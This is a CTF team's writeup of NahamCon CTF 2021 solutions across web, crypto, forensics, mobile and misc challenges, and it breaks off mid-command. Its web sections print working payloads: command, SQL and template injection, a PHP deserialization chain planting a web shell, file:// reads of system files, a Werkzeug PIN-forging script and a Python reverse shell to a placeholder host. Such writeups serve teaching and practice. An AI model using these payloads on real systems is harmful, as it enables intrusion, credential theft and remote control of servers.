NahamCon CTF 2021

Writeup by Team H0j3n

Introduction

All of the challenges were solve by members of Team H0j3n which most of us is a students from Malaysia. Some of the challenges were solve before and after the event. Hope this writeup could help anyone in future :)

Warmup

Most of this challenge were solve by @Kaitorque, @xCorNx

Vebee

Found one tool by @JohnHammond which could help us decode this. If anyone who still new in Capture The Flag you should go on John Hamond Channels you can learn a lot!

python3 vbe-decoder.py -o output veebee.vbe && cat output

Read The Rules

It is in the source code of the CTF rule page

Chicken Wings

Open file in notepad shows a string of symbols, this string are known as wingdings. Use online Wingdings Translator.

Car Keys

q w e r t y a b c d f g h i j k l m n o p s u v x z
a b c d e f g h i j k l m n o p q r s t u v w x y z

ygqa{6y980e0101e8qq361977eqe06508q3rt}

Buzz

Open file using HxD show file signature of 1F 9D which is tar zip file. Rename the file into a zip file such as .zip or .z allow it to be extracted and reveal a file containing the flag that can be open with any notepad.

Pollex

The flag is actually on the thumbnail of the image. Zoom in on the thumbnail to read the flag

Shoelaces

Open file in notepad and search flag{ .

Esab64

Open file in notepad shows a string. Name of the question give a hint on converting the strings through base64 and reverse the string.

Eight Circle

D'`r#LK\[}{{EUUTet,r*qo'nmlk5ihVB0S!>w<<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMRQJn1MLKJCg*)ED=a$:?>7[;:981w/4-,P*p(L,%*)"!~}CB"!~}_uzs9wpotsrqj0Qmfkdcba'H^]\[Z~^W?[TSRWPt7MLKo2NMFj-IHG@dD&<;@?>76Z{9276/.R21q/.-&J*j(!E%$d"y?`_{ts9qpon4lTjohg-eMihg`&^cb[!_X@VzZ<RWVOTSLpP2HMFEDhBAFE>=BA:^8=6;:981Uvu-,10/(Lm%*)(!~D1

Web

$Echo

As we go into the challenge website , we can see this page

Trying to provide some common command injection technique seems to be fail. But using the below commands seems to be working

`id`

So let's try to read index.php

<?php 
    $to_echo = $_REQUEST['echo']; 
    $cmd = "bash -c 'echo " . $to_echo . "'"; 
    if(isset($to_echo)) { 
        if($to_echo=="") { 
            print "Please don't be lame, I can't just say nothing."; 
        }elseif (preg_match('/[#!@%^&*()$_+=\-\[\]\';,{}|":>?~\\\\]/', $to_echo)) {
            print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:("; 
        }elseif ($to_echo=="cat") { 
            print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/"; 
        } elseif (strlen($to_echo) > 15) { 
            print "Man that's a mouthful to echo, what even?"; 
        } else { 
            system($cmd); 
        } 
    }else { 
        print "Alright, what would you have me say?"; 
    } 
?>

Based on the source code we can see that its running a command to echo. But if we can solve the preg_match it should be okay . We can use this website to check .

#Commands that possible
<
/
.
`

As the flag.txt one directory behind. We can read the flag using the command below. Make sure it is less than 15.

`< ../flag.txt`

Homeward Bound

As we go into the challenge page . We will see this

Let's try to curl with X-Forwarded-For . We get the flag!

curl "http://challenge.nahamcon.com:PORT" -H "X-Forwarded-For: 127.0.0.1"

You can read more on X-Forwarded-For in here

Asserted

As we go to the web challenge. We will see this

Playing around with the website we know there is one parameter which is page

/index.php?page=about

Since the challenge is Asserted we can looks for assert and we found this.

First let's read the index.php using php filter

/index.php?page=php://filter/convert.base64-encode/resource=index

We will get this after base64 decoded.

<?php

if (isset($_GET['page'])) {
  $page = $_GET['page'];
  $file = $page . ".php";

  // Saving ourselves from any kind of hackings and all
  assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");
  
} else {
  $file = "home.php";
}

include($file);

?>

The payload that we going to use is this

' .system("id"). '

Since it working let's read the flag!

Agent Tester

As we get inside the page, we will see like this

Once sign up and login, we will be welcome into this page

Looking at the query inside the source code given. We get direct access to the query.

Let's do manual SQL Injection and get maybe admin credentials

mozilla' UNION SELECT group_concat(username),group_concat(password) from user;-- -

Allright we get the admin credentials

admin:*)(@skdnaj238374834**__**=

Let's login as an admin and go to /debug page. Using burpsuite you can intercept the request and please add this

Content-Type: application/x-www-form-urlencoded



code={{2*2}}

Thus we can see that we can inject some SSTI payload such as {{2*2}}

Right now we know that there is a flag in CHALLENGE_FLAG environment.

Let's get the flag using this payload

code={{config.__class__.__init__.__globals__['os'].environ}}

Bad Blog

When we go the website we will see this

Once sign up and login we will be able to see this

We know that we can:

  • Create a new post

  • Search something

  • See who view our post

Thus let's create on blog and see what we can do next.

Looking back at who view our post shows this

Might be there is a database that store all of this. One things we know that User-Agent must have something to do with it. Intercept the request and play around with the User-Agent give us something after put single quote.

Playing around with the payload we found this

#What its doing
insert into visit (post_id, user_id, ua) values (5,2,'$user-agent');

#Payload To try
insert into visit (post_id, user_id, ua) values (5,2,''|| (payload(  || '');

#Real Payload
'|| (payload) ||'

You can read more in here

The payload that we can use is this

#Retrieve Table Name
'|| (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')  || '

#Retrieve Column Name
'|| (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='user')  || '

#Retrieve Admin's Password
'|| (SELECT password FROM user where username='admin')  || '

The results we can see is here

Thus we can login as an admin using this credentials that we found !

admin:J3H8cqMNWxH68mTj

Cereal and Milk

Looking at the page we can see this

Since we have both index.php and log.php we can get this

This might be vulnerable to PHP Deserialization Attack.

Reading from @Vickie_Li medium gives us this

If the class of the serialized object implements any 
method named "__wakeup()" and "__destruct()", these methods will be executed 
automatically when "unserialize()" is called on an object.

Thus since in log.php there is __destruct() function we can craft our payload.

#payload.php
<?php
include 'log.php';
class CerealAndMilk
{
        public function __construct()
        {
                $this->logs = new log();
        }
}
$payload = new CerealAndMilk();
echo serialize($payload);
?>

#log.php
<?php

class log
{
    public function __construct()
    {
        $this->logs='shell.php';
        $this->request='<?php system($_GET["c"]); ?>';
    }

    public function __destruct()
        {
            $request_log = fopen($this->logs , "a");
            fwrite($request_log, $this->request);
            fwrite($request_log, "\r\n");
            fclose($request_log);
        }
}

?>

Run this payload.php will get us this payload

O:13:"CerealAndMilk":1:{s:4:"logs";O:3:"log":2:{s:4:"logs";s:9:"shell.php";s:7:"request";s:28:"<?php system($_GET["c"]); ?>";}}

Run this locally will get us a shell.php but it seems like the challenge website did not work. So after adding a space at the end of payload it works

O:13:"CerealAndMilk":1:{s:4:"logs";O:3:"log":2:{s:4:"logs";s:9:"shell.php";s:7:"request";s:28:"<?php system($_GET["c"]); ?>";} }

Thus we will get the flag!

/shell.php?c=cd ndwbr7pVKNCrhs-CerealnMilk;cat flag.txt

Imposter

Opening the website we will see a login page with 2FA OTP needed.

Going through forgot your password and try to give username as admin will give us his email

Also if we sign up, we will see a QR Code that we need to scan using Google Authenticator

You can use temporary email for this challenge

Decode the QR Code will give us

#After Decode
otpauth://totp/2Password:test12?secret=ORSXG5BRGIYTEMZUGU3DOOBZ&issuer=2Password

#Information we can get
- username 
- secret (base32)
    * ORSXG5BRGIYTEMZUGU3DOOBZ
    * test12123456789 #username<otp secret>

If we click forgot password with entering a valid username. It will send a password reset to their email

Since we have all of the information that we need. These steps could help us get access to the admin.

#What is the admin OTP?
- Since the secret code is static we can craft it
    * admin123456789
    * MFSG22LOGEZDGNBVGY3TQOI%3D (base32)
- otpauth://totp/2Password:admin?secret=MFSG22LOGEZDGNBVGY3TQOI%3D&issuer=2Password
- Generate QR Code and Scan using Google Authenticator (https://www.qr-code-generator.com/)

#What is the admin Password?
- Since we have the admin's email
    * We can try play with the forgot password

Looking at the data POST to forgot password. We will get success if we put the correct email. But if we put someone else password it will not give us success

But if we add both email? Will it get accepted? Nope. It's not working :(

Looking for a method to send multiple emails or recipients we found this. Which we need to add a ; semicolon to add multiple emails. Let's try this!

It saying success! By checking email we get the password reset link!

Let's change the password first!

Once we manage to get in with the password changed and OTP that we link in our Google Authenticator App, we can get the flag easily :)

Workerbee

Inside the page, we will see this

As we would like to give an url to the Buzz! we got this error

#INPUTS
http://challenge.nahamcon.com:PORT

But if we provide https to something that does not have one, it will show an error too.

#INPUTS
https://challenge.nahamcon.com:PORT

We need to find a way on how to ensure our url can get accepted without having https:// error. You can look in here where # can be used to show a fragment or section from a page.

#INPUTS
http://challenge.nahamcon.com:PORT/#https://

Yes! Looking at the bottom of the page there is a link /workerbee . Going to the page we can see jinja2 exceptions.

Clicking one of those errors gives us a pop-out. Since this is a flask application it comes with a PIN to unlock the console if the debugger is enabled.

Looking at hacktricks we can actually get the PIN if we found all the information that needed.

#Information that we need 
1. username #(who start the flask application)
2. modname #(flask.app)
3. getattr(app, '__name__', getattr (app .__ class__, '__name__')) #(Flask)
4. getattr(mod, '__file__', None) #(absolute path of an app.py in the flask directory)
5. uuid.getnode() #(MAC address of the current computer)
6. get_machine_id() #(/etc/machine-id or /proc/sys/kernel/random/boot_id or /proc/self/cgroup)

If we can find a way to get all of these files it should be helpful. Let's check again the buzz. Using file URI Scheme we can get the files that we needed inside the machine. Using the same technique of # we manage to retrieve /etc/passwd

file:////etc/passwd#https://

Nice one! let's get the information one by one and get the PIN.

1. Username (Who Start The Application)

To get more information about the current user. Let's check on /proc/self/environ since it contains the environments of the process

file:///proc/self/environ#https://

#What we get
MAIL=/var/mail/workerbee
USER=workerbee #Username
HOME=/home/workerbee
LOGNAME=workerbee
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/workerbee
LC_ALL=C.UTF-8
WERKZEUG_SERVER_FD=3W
ERKZEUG_RUN_MAIN=true

2. Modname

The modname should be flask.app

3. App Class Name

This one should be Flask

4. Absolute Path of app.py

Looking at the exceptions we got in /workerbee it gives us the absolute path to aapp.py

/usr/local/lib/python3.8/dist-packages/flask/app.py

5. Mac Address Current Computer

To get the MAC Address of the current computer we can go check /sys/class/net/<iface>/address

#Check
/sys/class/net/<iface>/address

#Found
/sys/class/net/eth0/address
d2:81:b3:15:08:59

#Convert
python3 -c "print(0xd281b3150859)"
231454497114201

6. Machine-ID

To get machine-id we can read between

  • /etc/machine-id

or

  • /proc/sys/kernel/random/boot_id

    • sometimes we need to append a piece of information within /proc/self/cgroup that you find at the end of the first line (after the third slash)

#What we know
- /etc/machine-id #Nothing
- /proc/sys/kernel/random/boot_id #Got something
- /proc/self/cgroup #Got 3 slash on first line

#Machine-Id (/proc/sys/kernel/random/boot_id only)
d1da8289-38eb-435d-85f1-1f479e85fcdb #(From boot_id
dc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158 #(From cgroup)

Collection of information

1. Username : workerbee
2. Modname : flask.app
3. App Class Name : Flask
4. Absolute Path of app.py : /usr/local/lib/python3.8/dist-packages/flask/app.py
5. Mac-Address : 231454497114201
6. Machine-id : d1da8289-38eb-435d-85f1-1f479e85fcdbdc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158

Script to get PIN

import hashlib
from itertools import chain
probably_public_bits = [
    'workerbee',# username
    'flask.app',# modname
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/dist-packages/flask/app.py' #From /workerbee
]

private_bits = [
    '231454497114201', #/sys/class/net/eth0/address
    'd1da8289-38eb-435d-85f1-1f479e85fcdbdc95e71ebf5472c911f8a6c75a73312258c40e4fec0d7fbe4357e181fe99c158' #/proc/sys/kernel/random/boot_id + /proc/self/cgroup 
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Running the script we got the pin as 170-810-363 . Now let's go to /console and get a reverse shell .

#Make sure ngrok
ngrok tcp PORT

#Reverse Shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Get a reverse shell and we saw sudo -l can be run with ALL

sudo bash and we can get the flag!

Cryptography

Dice Roll

This challenge solve by @Kaitorque . There is menu to reset the random.seed() value and get the value of the random.getrandbits() as much as we can. Therefore, we can predict the next state or number when given enough value of the generated number. More information :

Use Mersenne Twister Predictor to predict the number

import random

from pwn import *
from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()
r = remote('challenge.nahamcon.com', PORT)
t = r.recvuntil("> ")
#r.sendlineafter("> ", str(1))
r.sendline(str(1))
i = 1
for _ in range(624):
  print(i)
  t = r.recvuntil("> ")
  r.sendline(str(2))
  t = r.recvuntil(":") print(t)
  t = r.recvline().decode('UTF-8').rstrip()
  t = r.recvline().decode('UTF-8').rstrip()
  print(t)
  predictor.setrandbits(int(t), 32)
  i+=1
t = r.recvuntil("> ")
r.sendline(str(3))
t = r.recvuntil("> ")
r.sendline(str(predictor.getrandbits(32)))
t = r.recvuntil(":")
print(t)
t = r.recvline().decode('UTF-8').rstrip()
t = r.recvline().decode('UTF-8').rstrip()
print(t)

Eaxy

The spelling should be easy but why eaxy ? So xor come out :) Trying with Cyberchef give us this

Key = 66: The XOR key you used to find string this is the 0 character index of the flag

#More information
66 = f

- Which means that we need to try and get the correct key for the next sentence.

Like usual script all the wayyy!

key = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '{', '}']

flag = ["-"]*38
for keys in key:
    b = bytearray(open('eaxy', 'rb').read())
    for i in range(len(b)):
        b[i] ^= int(hex(ord(keys)),16)
    if "The XOR key you used" in str(b):
        for i in str(b).split("this is the ")[1:]:
            flag[int(i[0:2])] = str(keys)
print("".join(flag))

Treasure

This challenge thanks to @asylumdx for finding the easy way to get the flag. Since we have both note.txt and hackers.txt . Looks like it must be related to Book Cipher

4661 5099 13243 11578 { 14382 734 14024 10621 14382 2 3383 8702 6087 10621 7417 14382 12352 615 1208 4246 4657 9975 7203 2658 770 4 10621 8702 6125 980 9522 2659 14784 7203 8701 38 } 

Which you can solve it easily in here

Forensics

Parseltongue

Downloading the file and looking at what type file shows us

To uncompyle this you can use

#Make sure ends with .pyc
uncompyle6 parseltounge.pyc

Trying to run the script we encounter with an error, which error might be happens because its xor str and int

#Change this part and print
zzz = bytes([_a ^ ord(_b) for _a, _b in zip(sss, zzss)])
print(zzz)

We will get the flag printed!

HenPeck

Looking at the pcap file using wireshark we will see that this contains USB protocol

To solve this we can use from this Github Tool

python3 UsbKeyboardDataHacker.py henpeck.pcap

TypeWriter

The files so big around 400MB so its going take a while to download. Unzip the file we will get image.bin . Favorite tools that people would use is volatility and in this challenge we will use the version 3

#Check Windows Info
python3 vol.py -f image.raw windows.info.Info

Using filescan we found a document file which the name is suspicious

#Files Scanning
python3 vol.py -f image.raw windows.filescan

Thus let's dump that file but before that looking at the process we found a WORD process

#Process Tree
python3 vol.py -f image.raw windows.pstree.PsTree

Now we can dump the files with PID we found!

#Dump Files
python3 vol.py -f image.raw windows.dumpfiles --pid="2760"

Opening the word files will get us the flag!

Mobile

All of the challenges in Mobile solved by @Kaitorque

Andra

Use tool apktool to decode the .apk . After that perform search on the apk folder for string flag{ . The flag is in \andra\res\layout\activity_flag.xml

Resourceful

Use tool dex2jar to convert the .apk into .jar . Then look into MainActivity.class for the password

Install the apk and use the password will reveal the flag.

Microscopium

Use tool apktool to decompile the .apk . It shows that it is using react native which bundle up some file in assets folder index.android.bundle . Using React Native Decompiler to decompile the file revealing large number of .js file. The file 400.js contains the function for the password

Since it only using number for input. We can create JavaScript script inside the same folder to bruteforce the flag

module401 = require('./401'),
module402 = require('./402');
partKey = 'pgJ2K9PMJFHqzMnqEgL';
cipher64 = 'AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00=';
var n = module401.Base64.toUint8Array(cipher64);
var o = module402.sha256.create();
for(var i=0; i<999999999; i++)
{
 o = module402.sha256.create();
 o.update(partKey)
 o.update(i.toString()) //4784 
 for (var l = o.hex(), u = '', c = 0; c < n.length; c++) u +=
String.fromCharCode(n[c] ^ l.charCodeAt(c));
 if(u.startsWith("flag{"))
 {
 console.log("Pin: "+i.toString()+", output: "+u)
//flag{06754e57e02b0c505149cd1055ba5e0b}
 }
}

Miscellaneous

Abyss

Trying to connect to the server we will get this

To check if there is a flag in here lets use the steps below

1. ssh -p PORT user@challenge.nahamcon.com > log.txt
2. Wait for a while
3. strings log.txt | grep -i "flag{"

Prison Break

As we connect to the server we will see something like this.

We have tried several commands and we found that cat seems possible to run.

But as we would like to read /etc/passwd it keeps showing us like this

But after playing with cat . We found that if we include the file that we want to read with single quote ' or in double quotes " we will be able to read the file . Thus we will get the flag!

cat "/just/out/of/reach/flag.txt"

Alphabet Soup

Looking at the extension of the file it is .cs which referring to C# language script. Let's use dotnetfiddle as it is online compiler.

But there is an error.

Once the code has been fix let's try run it again

We get a base64 encoded. Lets' decode and open it in our machine.

Let's decompile it using online decompiler and we will found the flag!

Zenith

Entering the machine and see sudo -l we can see that we can run sudo on zenity

If we try to run locally. We can do so many things but how we can run on the machine without having any UI?

zenity --file-selection

Searching for a way how to solve this we found

Let's try specify -X during SSH

ssh -X -p PORT user@challenge.nahamcon.com

It works! But how can we read or play with the file? We know that there is a flag in /root/get_flag but also there is id_rsa for root

sudo zenity --text-info --auto-scroll --filename="/root/.ssh/id_rsa"

Easy way we should just get the key and access as root to run the get_flag

#Access as root
ssh -p PORT root@challenge.nahamcon.com -i id_rsa

Gone Batty

This challenge is awesome!

It is a windows batch file. Let's try to run it.

What can we expect to run and get flag? Hahaha . Okay so let's try to understand the code and hopefully we can deobfuscate it.

* The first line we saw saying set something
    - Set is use for define variable
* To call the variable you need to use %%

#Example
set something=test
%something% a=b

After replacing the variable we see this

There is a lot of set !!! But after understand the code and manually replace it using Notepad++ we can see that for example this part

So 97 is actually a . Thus there is a lot of variable that we need to change. You can solve it manually or here the script to help you :)

#Half.txt
@echo off
set zfvgawagi=set
%zfvgawagi% ufykqylob= 
%zfvgawagi%%ufykqylob%gazhkl==
%zfvgawagi%%ufykqylob%lsdppuf%gazhkl%/
%zfvgawagi%%ufykqylob%kamnrmirz%gazhkl%a
%zfvgawagi%%ufykqylob%kcjmprb%gazhkl%c
%zfvgawagi%%ufykqylob%nsxzbbjvw%gazhkl%m
%zfvgawagi%%ufykqylob%btohszm%gazhkl%d
%zfvgawagi%%ufykqylob%swpkkttax%gazhkl%e
%zfvgawagi%%ufykqylob%smivqg%gazhkl%x
%zfvgawagi%%ufykqylob%nbyxysg%gazhkl%i
%zfvgawagi%%ufykqylob%fhqrcmmp%gazhkl%t
%zfvgawagi%%ufykqylob%lmkzcgr%gazhkl% 

#===first_script.py===
ori_text =""
files = open('half.txt').read()
for i in files.split("\n"):
        ori_text += i
        ori_text += "\n"

#First Step (Read half.txt) only
checker = 0
beforeLength = 0
afterLength = 0
list_left =[]
list_right = []
while True:
       beforeLength = len(ori_text)
       for text in ori_text.split("\n"):
               if "set" in text:
                       try:
                               left,right = text.split("=")
                       except:
                               if "ufykqylob" in  text:
                                       left = "set ufykqylob"
                                       right = " "
                               elif "gazhkl" in text:
                                       left = "set gazhkl"
                                       right = "="
                               else:
                                       print()
                       ori_text = ori_text.replace("%"+left[4:]+"%",right)             
                       if "set" not in right:
                               list_left.append(left[4:])
                               list_right.append(right)
       afterLength = len(ori_text)
       if beforeLength == afterLength:
               checker+=1
               if checker >5:
                       break
real_left = ["zfvgawagi"]
real_right = ["set"]
for i in range(0,len(list_left)):
       if list_left[i] not in real_left:
               real_left.append(list_left[i])
               real_right.append(list_right[i])

#Output
#real_left =['zfvgawagi', 'ufykqylob', 'gazhkl', 'lsdppuf', 'kamnrmirz', 'kcjmprb', 'nsxzbbjvw', 'bto>
#real_right = ['set', ' ', '=', '/', 'a', 'c', 'm', 'd', 'e', 'x', 'i', 't', ' ']

The second part we want to get the next character and its variables

ori_text =""
files = open('gone_batty').read()
for i in files.split("\n"):
        ori_text += i
        ori_text += "\n"

#First Step
real_left =['zfvgawagi', 'ufykqylob', 'gazhkl', 'lsdppuf', 'kamnrmirz', 'kcjmprb', 'nsxzbbjvw', 'bto>
real_right = ['set', ' ', '=', '/', 'a', 'c', 'm', 'd', 'e', 'x', 'i', 't', ' ']

for i in range(0,len(real_left)):
        ori_text = ori_text.replace("%"+real_left[i]+"%",real_right[i])

#Second Step (Get Character and Value) 
list_characters = []
list_variables = []
for text in ori_text.split("\n"):
        #Store Character First
        if "set" in text and "%%" in text:
                print(text)
                temp = text.split(" ")
                characters = chr(eval("{} % {}".format(temp[2].split("=")[1],temp[4])))
                list_characters.append(characters)
        #Store Variable of Characters
        if "exitcodeAscii" in text:
                list_variables.append(text.split(" ")[1].split("=")[0])
print(list_characters)
print(list_variables)

#Output
#list_characters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '{', '}', '?', ':', '.', '=', ',', '_']
#list_variables = ['qeluatb', 'wemnehsl', 'dlbiwvbel', 'ouiyvyqu', 'gwlbj', 'hldfz', 'nigqyf', 'iwoidpzy', 'ijjyxoks', 'tcwcrmxb', 'kanxwtd', 'ninog', 'ghopxs', 'juiqiavm', 'vztfxa', 'fqgrnpqep', 'whdim', 'hzwvxw', 'mskhl', 'gdjtmb', 'fyfnpfqoy', 'tyafgamw', 'epysvkkl', 'viike', 'pyjwbv', 'ywyvxox', 'ndwawasr', 'paenqih', 'idpehpuhl', 'taaqwtuv', 'tlqgieqn', 'ayluakhs', 'tclouasj', 'zcrfcfn', 'mfzrs', 'byzoc', 'hfliaucek', 'ygskmi', 'dtjwmfxs', 'jtqcpnbnb', 'gqghev', 'sttly', 'pdqcma', 'ntowfw', 'jlvmsg', 'dwnozogmh', 'huqdgcd', 'gckeq', 'nvpbnled', 'dnchltv', 'zdmsx', 'pwkdbp', 'ybugmz', 'upsivoank', 'ssmidyevl', 'fipnc', 'asfhhizb', 'rliwmfce', 'kftwm', 'cadoqmep', 'aqnpf', 'lcuvgjju', 'qntaizkz', 'iflkimb', 'ozrlvd', 'ngytgfqkl', 'sqcphwu', 'lzuqh', 'ipqfvdln', 'izwofiq']

Last step we want to replace all of the variables that we have

ori_text =""
files = open('gone_batty').read()
for i in files.split("\n"):
        ori_text += i
        ori_text += "\n"

#Variables
real_left =['zfvgawagi', 'ufykqylob', 'gazhkl', 'lsdppuf', 'kamnrmirz', 'kcjmprb', 'nsxzbbjvw', 'btohszm', 'swpkkttax', 'smivqg', 'nbyxysg', 'fhqrcmmp', 'lmkzcgr']
real_right = ['set', ' ', '=', '/', 'a', 'c', 'm', 'd', 'e', 'x', 'i', 't', ' ']
list_characters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '{', '}', '?', ':', '.', '=', ',', '_']
list_variables = ['qeluatb', 'wemnehsl', 'dlbiwvbel', 'ouiyvyqu', 'gwlbj', 'hldfz', 'nigqyf', 'iwoidpzy', 'ijjyxoks', 'tcwcrmxb', 'kanxwtd', 'ninog', 'ghopxs', 'juiqiavm', 'vztfxa', 'fqgrnpqep', 'whdim', 'hzwvxw', 'mskhl', 'gdjtmb', 'fyfnpfqoy', 'tyafgamw', 'epysvkkl', 'viike', 'pyjwbv', 'ywyvxox', 'ndwawasr', 'paenqih', 'idpehpuhl', 'taaqwtuv', 'tlqgieqn', 'ayluakhs', 'tclouasj', 'zcrfcfn', 'mfzrs', 'byzoc', 'hfliaucek', 'ygskmi', 'dtjwmfxs', 'jtqcpnbnb', 'gqghev', 'sttly', 'pdqcma', 'ntowfw', 'jlvmsg', 'dwnozogmh', 'huqdgcd', 'gckeq', 'nvpbnled', 'dnchltv', 'zdmsx', 'pwkdbp', 'ybugmz', 'upsivoank', 'ssmidyevl', 'fipnc', 'asfhhizb', 'rliwmfce', 'kftwm', 'cadoqmep', 'aqnpf', 'lcuvgjju', 'qntaizkz', 'iflkimb', 'ozrlvd', 'ngytgfqkl', 'sqcphwu', 'lzuqh', 'ipqfvdln', 'izwofiq']
#Replacing Time!!! (Round1)
for i in range(0,len(real_left)):
        ori_text = ori_text.replace("%"+real_left[i]+"%",real_right[i])
#Replacing Time!!! (Round2)
for i in range(0,len(list_variables)):
        ori_text = ori_text.replace("%"+list_variables[i]+"%",list_characters[i])

print(ori_text)

Thus when we look again we found some sort of flag!!

When we sort it we will get the flag :)

text ='''
12=3
37=c
5={
34=e
3=a
36=1
16=c
9=5
20=b
38=}
2=l
35=8
17=d
6=b
1=f
19=b
31=b
27=7
24=d
26=1
11=c
25=1
29=9
15=3
21=e
22=c
13=e
30=2
33=2
14=3
18=e
23=9
8=9
4=g
28=2
32=d
10=c
7=3
'''
list_character = []
index = 0
flag = ""
for i in text.split("\n"):
    list_character.append(i)
    
for i in list_character[1:-1]:
    print(i.split('='))
    
while True:
    for i in list_character[1:-1]:
        if int(i.split('=')[0]) == index:
            print(i.split('=')[1])
            flag += i.split('=')[1]
            break
    index += 1
    print(flag)

Scripting

This challenge were solve by me and @Kaitorque

DDR

Downloading the image file we will get this

At first we were stuck for a while but after @Kaitorque manage to find out that every box actually have different hex color and each of the first hex will actually get us a real ascii after converted.

#After Converted
8 e 1 3 0 d b 4 2 9 1 c 4 f 2 9 0 0 2 2 5
e f b f a 2 5 7 2 2 5 b e 2 b 3 c 9 e 1 3
7 0 6 b 3 c 1 a 4 e } 2 f 7 9 2 9 b 6 c 6
b c 8 3 d e 8 c 7 d c 4 c 6 9 0 4 8 a 1 d
8 c f d a 5 8 b 8 c 2 a 2 7 0 6 7 5 c 5 4
c 7 4 c 9 a 5 4 6 7 b 7 { 6 a b 4 f e 0 0
8 d d 2 4 7 b f 3 4 8 5 g f 5 c 4 7 e f d
e d f 2 e 2 6 d f c f l a 2 0 0 7 0 1 e 9
4 5 2 2 0 b b a 3 f 0 c b 1 3 4 3 2 c 2 e
4 4 d 6 5 7 d 1 e b 9 6 a f 4 a f 9 a 6 3
7 3 9 5 2 b 8 1 5 9 d 6 3 4 3 0 2 0 4 5 3
8 5 1 a 2 7 f 9 2 4 c 6 d 8 1 9 1 e 2 b 3
5 5 b 5 4 f c 6 d 8 7 c c 8 9 b 0 4 6 b d 
e 2 a b 9 5 c d f 9 4 3 1 c 2 b a 9 f 3 3 
0 c 2 1 d 9 f 8 d 0 3 d a b 6 a b 4 6 e 5

Thus we can see that the red center is actually tell us to start from that and the arrow is actually give us the path to get the flag!

Here is our script to make things easier. Thanks to @Kaitorque !!!

from PIL import Image

def rgb_to_hex(rgb):
    return '%02x' % rgb

im = Image.open("ddr.png")
pix = im.load()
xsize = im.size[0]
ysize = im.size[1]
print(xsize)
print(ysize)
rows, cols = (15, 21) 
alphamatrix = [[0 for i in range(cols)] for j in range(rows)] 
print(rgb_to_hex((pix[1,1][0])))
print(rgb_to_hex((pix[65,1][0])))
print(rgb_to_hex((pix[129,1][0])))
j = 1
for y in range(15):
    i = 1
    for x in range(21):
        alphamatrix[y][x] = rgb_to_hex((pix[i,j][0]))
        i+=64
    j+=64
        

for y in range(15):
    for x in range(21):
        if alphamatrix[y][x] == "ff":
            print("@", end="")
        else:
            print(bytes.fromhex(alphamatrix[y][x]).decode('utf-8'), end="")
    print()

arrow = "rruuulurrdrrruluuldluulddluulllddrurd"
row = 10
col = 7
print("f", end="")
for x in arrow:
    if x == "l":
        row -= 1
    if x == "r":
        row += 1
    if x == "u":
        col -= 1
    if x == "d":
        col += 1
    print(bytes.fromhex(alphamatrix[col][row]).decode('utf-8'), end="")

The Mission

Bionic

Looking at the page constellation.page we will see this

As the description say that we might find some low-hanging fruit lets check /robots.txt and we got the flag!

Meet The Team

As the description say about version control software it might be related to git . Thus let's check if there is .git in the page

Okayyy. Let's dump using git-dumper!

gogitdumper -u https://constellations.page/.git/ -o .git/

Once we done dump we can use git commands to get the flag!

git log -p > log && cat log | grep -Ei "flag{"

Also we can get the team name

Orion Morra; Support                              
Lyra Patte; Marketing                            
Leo Rison; Development; leo.rison@constellations.page                        
Gemini Coley; Operations
Hercules Scoxland; Sales
Vela Leray; Management
Pavo Welly; HR
Gus Rodry; Accounting

Path 1

Stage 1 : Leo

Found a possible user in instagram

And found a QR Code

#After decode
flag{636db5f4f0e36908a4f1a4edc5b0676e}

A password for Leo is `constelleorising`

leo:constelleorising

Step 2 : Sensible

Thanks to @ch4rm idea we can solve this! Let's connect using leo credentials that we found. We found something in /opt

There is ansible2john to crack this

#Save with newline preserved
echo '$ANSIBLE_VAULT;1.1;AES256
